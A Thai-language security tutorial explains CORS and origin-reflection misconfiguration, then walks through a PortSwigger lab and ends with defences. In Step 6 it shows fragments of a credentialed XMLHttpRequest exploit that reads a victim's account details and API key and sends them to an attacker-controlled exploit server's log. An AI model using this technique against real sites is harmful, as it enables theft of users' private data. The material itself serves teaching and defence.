ทำความรู้จัก CORS และ การตั้งค่า CORS ที่ไม่เหมาะสม อาจเปิดทางให้ข้อมูลสำคัญของเว็บไซต์รั่วไหลออกไปได้
บทนำ
สวัสดีครับผู้อ่านทุกท่าน วันนี้เราจะมาทำความรู้จักกับ Cross-Origin Resource Sharing หรือ CORS ว่าสามารถนำไปสู่ช่องโหว่ได้อย่างไร ปัจจุบัน Web Application จำนวนมากแยกหน้าเว็บไซต์และ API ออกจากกัน โดย CORS เป็นกลไกที่ Server ใช้บอก Browser ว่าเว็บไซต์จาก Origin ใดได้รับอนุญาตให้อ่านหรือแชร์ข้อมูลจากระบบได้
การเปิดใช้งาน CORS ไม่ได้หมายความว่าระบบมีช่องโหว่เสมอไป ปัญหาเกิดขึ้นเมื่อ Server ตั้งค่า CORS กว้างเกินความจำเป็น เช่น ยอมรับ Origin ที่ได้รับจาก Request โดยไม่ตรวจสอบ หรืออนุญาตให้เว็บไซต์ที่ไม่น่าเชื่อถืออ่านข้อมูลสำคัญภายใต้ Session ของผู้ใช้งาน การตั้งค่าลักษณะนี้เรียกว่า CORS Misconfiguration และอาจทำให้ผู้โจมตีเรียก API และได้ข้อมูลสำคัญไปได้
บทความนี้จะพาไปทำความเข้าใจว่า Origin, Same-Origin Policy และ CORS ทำงานร่วมกันอย่างไร พร้อมสาธิตการตรวจสอบและโจมตี CORS Misconfiguration ผ่าน PortSwigger Web Security Academy ก่อนปิดท้ายด้วยแนวทางป้องกันที่สามารถนำไปใช้กับระบบจริงได้ครับ.
Origin คืออะไร
ก่อนจะพูดถึง CORS เราต้องรู้จักคำว่า Origin กันก่อนครับ Origin คือแหล่งที่มาของเว็บไซต์ โดย Browser จะพิจารณาจาก 3 ส่วน ได้แก่
- Protocol หรือ Scheme เช่น http และ https
- Host เช่น www.example.com
- Port เช่น 80, 443 หรือ 8080
สมมติว่าเว็บไซต์หลักของเราคือ
https://www.example.com/profile
URL ต่อไปนี้ถือว่าเป็น Same Origin หรือ Origin เดียวกัน
https://www.example.com/account
https://www.example.com/settings
https://www.example.com/profile?id=1
แม้ส่วนท้ายของ URL หรือ Path จะแตกต่างกัน แต่ Protocol, Host และ Port ยังเหมือนเดิม Browser จึงมองว่าเป็น Origin เดียวกัน
ส่วน URL ต่อไปนี้ถือว่าเป็น Cross Origin หรือคนละ Origin
http://www.example.com/profile
https://api.example.com/profile
อันแรกเป็นคนละ Origin เพราะใช้ Protocol ต่างกัน โดย URL หลักใช้ https แต่ URL นี้ใช้ http ส่วนอันที่สองเป็นคนละ Origin เพราะใช้ Host ต่างกัน โดย URL หลักใช้ www.example.com แต่ URL นี้ใช้ api.example.com
และอีกตัวอย่าง
https://www.example.com:8443/profile
เป็นคนละ Origin เพราะใช้ Port ต่างกัน
ปัจจุบัน Web Application หลายระบบมักแยกส่วนเว็บไซต์และ API ออกจากกัน เช่น
เว็บไซต์: https://www.example.com
เมื่อเว็บไซต์ต้องการเรียกข้อมูลจาก API จึงถือเป็นการเรียกข้าม Origin หรือ Cross-Origin Request และตรงนี้เองที่ CORS จะเข้ามามีบทบาทในการกำหนดว่าเว็บไซต์ใดสามารถอ่านข้อมูลจาก API ได้บ้าง

Same-Origin Policy คืออะไร
โดยปกติ Browser จะมีมาตรการที่เรียกว่า Same-Origin Policy ทำหน้าที่จำกัดไม่ให้ JavaScript จากเว็บไซต์หนึ่งเข้าไปอ่านข้อความจากอีกเว็บไซต์หนึ่งได้ตามต้องการ ลองนึกภาพว่าผู้ใช้งานกำลังล็อกอินอยู่ในเว็บไซต์ธนาคาร และใน Browser ยังมี Session ของผู้ใช้งานอยู่ จากนั้นผู้ใช้งานเปิดเว็บไซต์ที่ผู้ไม่ประสงค์ดีสร้างขึ้นมาหากไม่มี Same-Origin Policy เว็บไซต์ของผู้ไม่ประสงค์ดีอาจเรียกข้อมูลจากเว็บไซต์ธนาคาร และนำข้อมูลบัญชีของผู้ใช้งานมาแสดงบนเว็บไซต์ของตนได้ Same-Origin Policy จึงช่วยป้องกันไม่ให้เว็บไซต์จากคนละ Origin สามารถอ่านข้อความของกันและกันได้โดยไม่มีการอนุญาต
อย่างไรก็ตาม บางระบบมีความจำเป็นต้องแชร์ข้อมูลระหว่าง Origin เช่น เว็บไซต์อยู่ที่ Domain หนึ่ง แต่ API อยู่ที่อีก Domain หนึ่ง แต่ Browser มีมาตรการ Same-Origin Policy ในการป้องกัน ดังนั้น จึงต้องใช้ CORS เพื่อบอก Browser ว่าเว็บไซต์ใดได้รับอนุญาตให้อ่านข้อมูลได้
CORS คืออะไร
Cross-Origin Resource Sharing หรือ CORS เป็นกลไกที่ Server ใช้แจ้ง Browser ว่าอนุญาตให้เว็บไซต์จาก Origin ใดสามารถอ่าน Response ได้ พูดง่าย ๆ คือ Browser จะไม่อนุญาตให้เว็บไซต์จากคนละ Origin อ่านข้อมูลกันตามค่าเริ่มต้นของ Browser แต่ Server สามารถเปิดสิทธิ์ให้ Origin ที่เชื่อถือได้ผ่าน CORS Header
ตัวอย่างเช่น หาก API ต้องการอนุญาตให้เว็บไซต์หลักของระบบอ่านข้อมูล อาจกำหนดค่าเป็น
Access-Control-Allow-Origin: https://www.example.com
เมื่อ Browser พบว่า Origin ของเว็บไซต์ตรงกับ Origin ที่ Server อนุญาต JavaScript บนเว็บไซต์นั้นก็จะสามารถอ่านข้อมูลจาก API ได้ ทำให้ Developer จำเป็นที่จะต้องตั้งค่า CORS Header ซึ่งถ้าตั้งค่าไม่ถูกต้องก็จะนำไปสู่ช่องโหว่ได้
ด้วยเหตุนี้ Developer จึงต้องกำหนด CORS Header ให้เหมาะสม และอนุญาตเฉพาะ Origin ที่เชื่อถือได้เท่านั้น เพราะหากกำหนดค่าไว้กว้างเกินความจำเป็น หรืออนุญาตให้เว็บไซต์ที่ไม่น่าเชื่อถือเรียกข้อมูลพร้อม Credentials ของผู้ใช้งานได้ ก็อาจนำไปสู่ช่องโหว่ CORS Misconfiguration
CORS Misconfiguration คืออะไร
CORS Misconfiguration คือการที่ Server กำหนดนโยบาย CORS ไม่เหมาะสม เช่น ยอมรับ Origin ใดก็ได้ที่ส่งเข้ามา หรืออนุญาตให้เว็บไซต์ที่ไม่ควรเชื่อถือสามารถอ่านข้อมูลจาก Application ได้
ตัวอย่างเช่น ผู้ใช้งานกำลังล็อกอินอยู่ใน Web Application และ Browser ยังมี Session Cookie ของผู้ใช้งานอยู่ หาก Server ยอมรับ Origin ของเว็บไซต์ผู้โจมตี อาจพบ Response Header ลักษณะดังนี้
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Header แรก คือ Access-Control-Allow-Origin: https://attacker.example
ใช้บอก Browser ว่า JavaScript ที่ทำงานอยู่บนเว็บไซต์ https://attacker.example ได้รับอนุญาตให้อ่าน Response จาก Application
Header ที่สอง คือ Access-Control-Allow-Credentials: true
ใช้บอก Browser ว่า อนุญาตให้ส่งข้อมูลยืนยันตัวตน (เช่น คุกกี้, HTTP authentication หรือ TLS client certificates) ไปพร้อมกับคำขอข้ามโดเมน และอนุญาตให้ JavaScript ฝั่งไคลเอนต์อ่านผลลัพธ์ตอบกลับได้
เมื่อนำ Header ทั้งสองรายการมารวมกัน หาก Browser ส่ง Session Cookie ของผู้ใช้งานไปพร้อมกับ Request ฝั่งเว็บไซต์ของผู้โจมตีก็อาจเรียก API ผ่าน Browser ของเหยื่อ และอ่านข้อความที่ควรเข้าถึงได้เฉพาะเจ้าของบัญชี ข้อมูลที่อาจถูกเปิดเผย ได้แก่ ชื่อผู้ใช้งาน อีเมล ข้อมูลบัญชี API Key หรือข้อมูลอื่น ๆ ที่ควรเข้าถึงได้เฉพาะผู้ใช้งานที่ล็อกอินอยู่
ข้อควรรู้ : Browser จะไม่อนุญาตให้ใช้ Access-Control-Allow-Origin: * ร่วมกับ Access-Control-Allow-Credentials: true ตาม Spec ของ CORS หาก Server ตอบทั้งสอง Header นี้ตอบพร้อมกัน Browser จะปฏิเสธ Response ให้ Javascript อ่านและแสดงเป็น CORS หรือ network error ด้วยเหตุนี้ Server ที่ต้องการอนุญาต Credentials จากหลาย Origin จึงมักใช้วิธี Reflect ค่า Origin จาก Request กลับไปแทนการใช้ * ตรงๆ ซึ่งหากไม่ตรวจสอบ Origin ให้ดี ก็จะนำไปสู่ช่องโหว่

CORS Misconfiguration ผ่าน PortSwigger Lab
เพื่อให้เห็นภาพชัดเจนยิ่งขึ้น ต่อไปเราจะมาดูการโจมตี CORS Misconfiguration ผ่าน Lab ของ PortSwigger Web Security Academy และดูว่าการตั้งค่า CORS ที่ไม่เหมาะสมจะทำให้เว็บไซต์อื่นสามารถอ่านข้อมูลของผู้ใช้งานได้อย่างไร ผมจะอธิบายวิธีการและขั้นตอนในการโจมตี CORS อย่างละเอียด โดย Lab ที่เราจะนำมาใช้มีชื่อว่า CORS vulnerability with basic origin reflection [https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack\]
Lab นี้จำลอง Web Application ที่มีหน้าสำหรับแสดงข้อมูลบัญชีของผู้ใช้งาน โดยผู้ใช้งานจะต้องเข้าสู่ระบบก่อนจึงจะสามารถดูข้อมูลดังกล่าวได้แต่ Application มีการตั้งค่า CORS ที่ไม่เหมาะสม เนื่องจาก Server ยอมรับค่า Origin ที่ส่งเข้ามาโดยไม่ได้ตรวจสอบว่าเป็นเว็บไซต์ที่เชื่อถือได้หรือไม่ และยังอนุญาตให้ส่ง Credentials ของผู้ใช้งานไปพร้อมกับ Request อีกด้วย
ด้วยเหตุนี้ หากผู้ใช้งานที่กำลังล็อกอินอยู่เปิดเว็บไซต์ที่ผู้ไม่ประสงค์ดีควบคุม เว็บไซต์ดังกล่าวอาจเรียกข้อมูลจาก Application ผ่าน Browser ของผู้ใช้งาน และอ่านข้อความที่ควรเข้าถึงได้เฉพาะเจ้าของบัญชี
ขั้นตอนที่ 1 : เข้าสู่หน้า Lab

เมื่อเข้ามาใน Lab จะพบหน้า Web Application ตามภาพ โดยลักษณะภายนอกจะเป็นเว็บไซต์ขายสินค้าทั่วไป
ช่องโหว่ CORS มักเกี่ยวข้องกับการที่เว็บไซต์จาก Origin อื่นสามารถอ่านข้อมูลใน Response ได้ ดังนั้น ขั้นตอนแรกของเราคือการค้นหาว่า Application มีหน้าใดหรือ Endpoint ใดที่แสดงข้อมูลสำคัญ
จากหน้าเว็บไซต์จะพบเมนู My account ซึ่งน่าจะเป็นหน้าที่ใช้แสดงข้อมูลบัญชี เราจึงลองกดเข้าไปและเข้าสู่ระบบด้วยบัญชีที่ Lab เตรียมไว้ให้
ขั้นตอนที่ 2 : ตรวจสอบข้อมูลภายในหน้า My Account

หลังจากเข้าสู่ระบบแล้ว จะพบข้อมูลบัญชีของผู้ใช้งาน เช่น Username, Email และ API Key ข้อมูลเหล่านี้ถือเป็นข้อมูลที่ไม่ควรถูกเว็บไซต์ภายนอกอ่านได้ โดยเฉพาะ API Key ซึ่งอาจถูกนำไปใช้เพื่อเข้าถึงระบบหรือดำเนินการบางอย่างภายใต้สิทธิ์ของผู้ใช้งาน
ในมุมมองของการทดสอบ เราจึงต้องตรวจสอบว่า หน้าเว็บไซต์นำข้อมูลเหล่านี้มาจากที่ไหนเพราะข้อมูลที่เห็นบนหน้าเว็บอาจไม่ได้ถูกเขียนอยู่ในหน้าเว็บโดยตรง แต่อาจถูกเรียกมาจาก API ที่อยู่เบื้องหลัง
ขั้นตอนที่ 3 : ตรวจสอบข้อมูล API

ในขั้นตอนนี้ เราจะใช้ Burp Suite เพื่อวิเคราะห์ HTTP Request และ Response ที่เกิดขึ้นระหว่าง Browser กับ Application จาก HTTP History จะพบว่า หน้า My Account มีการเรียกไปยัง Endpoint ชื่อว่า /accountDetails
Endpoint นี้ตอบกลับข้อมูลบัญชีในรูปแบบ JSON ซึ่งประกอบด้วย Username, Email, API Key และข้อมูล Session
นอกจากนี้ ใน Response Header ยังพบค่า
Access-Control-Allow-Credentials: true
ขั้นตอนที่ 4 : ทดสอบว่า Server ยอมรับ Origin ที่กำหนดเองหรือไม่

ต่อมา เราจะส่ง Request ไปยัง Burp Repeater แล้วเพิ่มค่า Origin ที่เรากำหนดขึ้นเอง เช่น
Origin: http://test.com
การเพิ่ม Origin ในขั้นตอนนี้มีจุดประสงค์เพื่อจำลองว่า Request ถูกส่งมาจากเว็บไซต์อื่น และตรวจสอบว่า Server จะยอมให้เว็บไซต์ดังกล่าวอ่าน Response หรือไม่
จากผลการทดสอบพบว่า Server ตอบกลับ Header ดังนี้
Access-Control-Allow-Origin: http://test.com
Access-Control-Allow-Credentials: true
ทั้งที่ http://test.com ไม่ใช่เว็บไซต์ของ Application และเป็นค่าที่เรากำหนดขึ้นมาเอง
พฤติกรรมนี้แสดงให้เห็นว่า Server นำค่า Origin ที่ได้รับจาก Request ไปตอบกลับโดยไม่ได้ตรวจสอบว่า Origin ดังกล่าวเป็นเว็บไซต์ที่เชื่อถือได้จริงหรือไม่ ซึ่งเรียกว่า Origin Reflection
ขั้นตอนที่ 5 : เตรียมเว็บไซต์สำหรับวาง Exploit ที่ exploit server

หลังจากพบว่า Server ยอมรับ Origin ที่เรากำหนดเองแล้ว ขั้นตอนต่อไปคือการสร้างหน้าเว็บไซต์จากอีก Origin หนึ่ง เพื่อทดลองเรียกข้อมูลผ่าน Browser ของผู้ใช้งาน
PortSwigger Lab มี Exploit Server เตรียมไว้ให้ โดยเปรียบเสมือน Server หรือเว็บไซต์ที่ผู้ไม่ประสงค์ดีควบคุม
เราสามารถใช้ Exploit Server เพื่อทำสิ่งต่อไปนี้ได้
- วางไฟล์ HTML และ JavaScript
- สร้าง Link สำหรับให้เหยื่อเปิด
- จำลองการส่งหน้าเว็บไซต์ไปยังเหยื่อ
- ตรวจสอบข้อมูลที่ถูกส่งกลับมายัง Access Log
ในสถานการณ์จริง ผู้ไม่ประสงค์ดีจะต้องมี Domain หรือ Server ที่ตนเองควบคุม เพื่อใช้วางหน้าเว็บไซต์ดังกล่าว
สำหรับการทดสอบในระบบที่ได้รับอนุญาต อาจใช้ Web Server ของตนเอง หรือใช้บริการอย่าง ngrok เพื่อเปิดให้เครื่อง Local สามารถเข้าถึงได้จาก Internet แต่สำหรับ Lab นี้ เราสามารถใช้ Exploit Server ที่ PortSwigger เตรียมไว้ได้ทันที
ขั้นตอนที่ 6 : สร้าง Script สำหรับอ่านข้อมูลของเหยื่อ

ภายใน Exploit Server เราจะเขียน JavaScript เพื่อเรียก Endpoint /accountDetails ของ Application
การทำงานของ Script ในภาพสามารถอธิบายได้ดังนี้
6.1 สร้าง Request ไปยัง Application (req.open)
Script จะสร้าง XMLHttpRequest แล้วส่ง Request ไปยัง Endpoint
/accountDetails
ซึ่งเป็น Endpoint ที่เราได้ตรวจสอบแล้วว่าส่งข้อมูลบัญชีของผู้ใช้งานกลับมา
6.2 ขอให้ Browser ส่ง Credentials ไปด้วย (req.withCredentials = True)
ภายใน Script มีการกำหนดค่า
req.withCredentials = true;
คำสั่งนี้เป็นการขอให้ Browser ส่ง Credentials ที่สามารถใช้งานกับ Request ดังกล่าวไปด้วย เช่น Session Cookie ของผู้ใช้งาน
ดังนั้น หากเหยื่อกำลังล็อกอินอยู่ใน Application โดย Browser จะส่ง Request ไปยัง /accountDetails ภายใต้ Session ของเหยื่อ ไม่ใช่ Session ของผู้ไม่ประสงค์ดี
6.3 รอรับข้อมูลจาก Application (function.reqListener)
เมื่อ Application ตอบกลับมา ฟังก์ชัน reqListener จะถูกเรียกใช้งาน และ Script จะสามารถอ่านข้อความใน Response ผ่านค่า
this.responseText
โดยปกติ Same-Origin Policy จะไม่อนุญาตให้เว็บไซต์จากอีก Origin อ่าน Response นี้ได้
แต่ใน Lab นี้ Server สะท้อน Origin ของ Exploit Server กลับมา และยังตอบ
Access-Control-Allow-Credentials: true
Browser จึงยอมให้ JavaScript บน Exploit Server อ่าน Response ได้
6.4. ส่งข้อมูลกลับไปยัง Access Log (location=)
หลังจาก Script อ่าน Response ได้แล้ว จะนำข้อมูลดังกล่าวไปต่อท้าย URL ของ Exploit Server
location = "/log?key=" + this.responseText;
คำสั่งนี้ทำให้ Browser เปลี่ยนไปยังหน้า /log พร้อมแนบข้อมูลบัญชีที่อ่านได้ไปใน Parameter ชื่อ key เมื่อ Request ดังกล่าวเข้ามายัง Exploit Server ข้อมูลก็จะปรากฏอยู่ใน Access Log ซึ่งผู้ไม่ประสงค์ดีสามารถเปิดดูได้
เมื่อพร้อมแล้ว ให้กด Deliver exploit to victim ซึ่ง PortSwigger จะจำลองให้เหยื่อหรือผู้ดูแลระบบเปิดหน้า Exploit ดังกล่าว
ในสถานการณ์จริง ผู้ไม่ประสงค์ดีอาจหลอกให้เหยื่อเปิด Link ผ่านช่องทางต่าง ๆ เช่น
- อีเมล
- ข้อความแชท
- Social Media
- เว็บไซต์ที่ผู้ไม่ประสงค์ดีควบคุม
ขั้นตอนที่ 7 : ตรวจสอบข้อมูลที่ได้รับจากเหยื่อ

หลังจากกด Deliver exploit to victim ให้เปิดหน้า Access log ของ Exploit Server
จากภาพจะพบ Request ที่เรียกมายัง Path ลักษณะดังนี้
/log?key=...
ข้อมูลที่อยู่หลัง Parameter key คือ Response จาก Endpoint “/accountDetails” ของเหยื่อที่เปิดหน้า Exploit
เหตุการณ์ที่เกิดขึ้นสามารถสรุปได้ดังนี้
1. เหยื่อเปิดหน้าเว็บไซต์จาก Server ที่ผู้ไม่ประสงค์ดีควบคุม
2. JavaScript เรียก /accountDetails
3. Browser ส่ง Session Cookie ของเหยื่อไปยัง Application
4. Application ตั้งค่า CORS ผิดซึ่ง ยอมรับ Origin ของเว็บไซต์ผู้ไม่ประสงค์ดี
5. Browser อนุญาตให้ JavaScript อ่าน Response
6. Script ส่งข้อมูลที่อ่านได้กลับมายัง Access Log
จากการทดสอบจะเห็นว่า การพบ Access-Control-Allow-Credentials: true เพียงอย่างเดียวยังไม่เพียงพอที่จะยืนยันช่องโหว่ แต่เมื่อ Server ยอมรับ Origin ที่เรากำหนดเอง พร้อมอนุญาต Credentials และ JavaScript จาก Origin อื่นสามารถอ่านข้อความสำคัญได้ จึงเป็นการยืนยันผลกระทบของ CORS Misconfiguration อย่างสมบูรณ์
สำหรับผู้ที่สนใจสามารถทดลอง Lab และเล่น Lab อื่น ๆ เพิ่มเติมได้ที่ PortSwigger Web Security Academy ครับ
วิธีการป้องกัน
- กำหนด Origin ที่อนุญาตอย่างชัดเจนในรูปแบบ Whitelist เสมอ Server ควรอนุญาตเฉพาะ Origin ที่จำเป็นต่อการทำงานของระบบ เช่น
Access-Control-Allow-Origin: https://api.server.com
การตรวจสอบต้องเปรียบเทียบ Origin ทั้งค่า ซึ่งประกอบด้วย Scheme, Host และ Port ไม่ควรใช้การค้นหาข้อความหรือ Regular Expression ที่กว้างเกินไป ตัวอย่างเช่น หากระบบตรวจสอบเพียงว่า Origin ลงท้ายด้วย example.com อาจทำให้ Domain ที่ผู้โจมตีจดทะเบียนขึ้นมาอย่าง attackers-example.com ผ่านการตรวจสอบได้ ในทำนองเดียวกัน หากตรวจสอบเพียงว่า Origin ขึ้นต้นด้วย https://example.com ก็อาจยอมรับ Domain อย่าง https://example.com.attacker.example โดยไม่ตั้งใจ
- ไม่ควรเปิดใช้งาน Access-Control-Allow-Credentials เป็น True ถ้ามีความจำเป็นต้องเปิดใช้งาน ควรมีการตั้งค่า Origin ให้เข้มงวดตามข้อ 1 เท่านั้น คือไม่ยอมรับ หรือ Reflex ค่า Origin ที่ไม่ใช่ระบบที่ต้องการแชร์ข้อมูล
อ้างอิง
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS
https://portswigger.net/web-security/cors
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack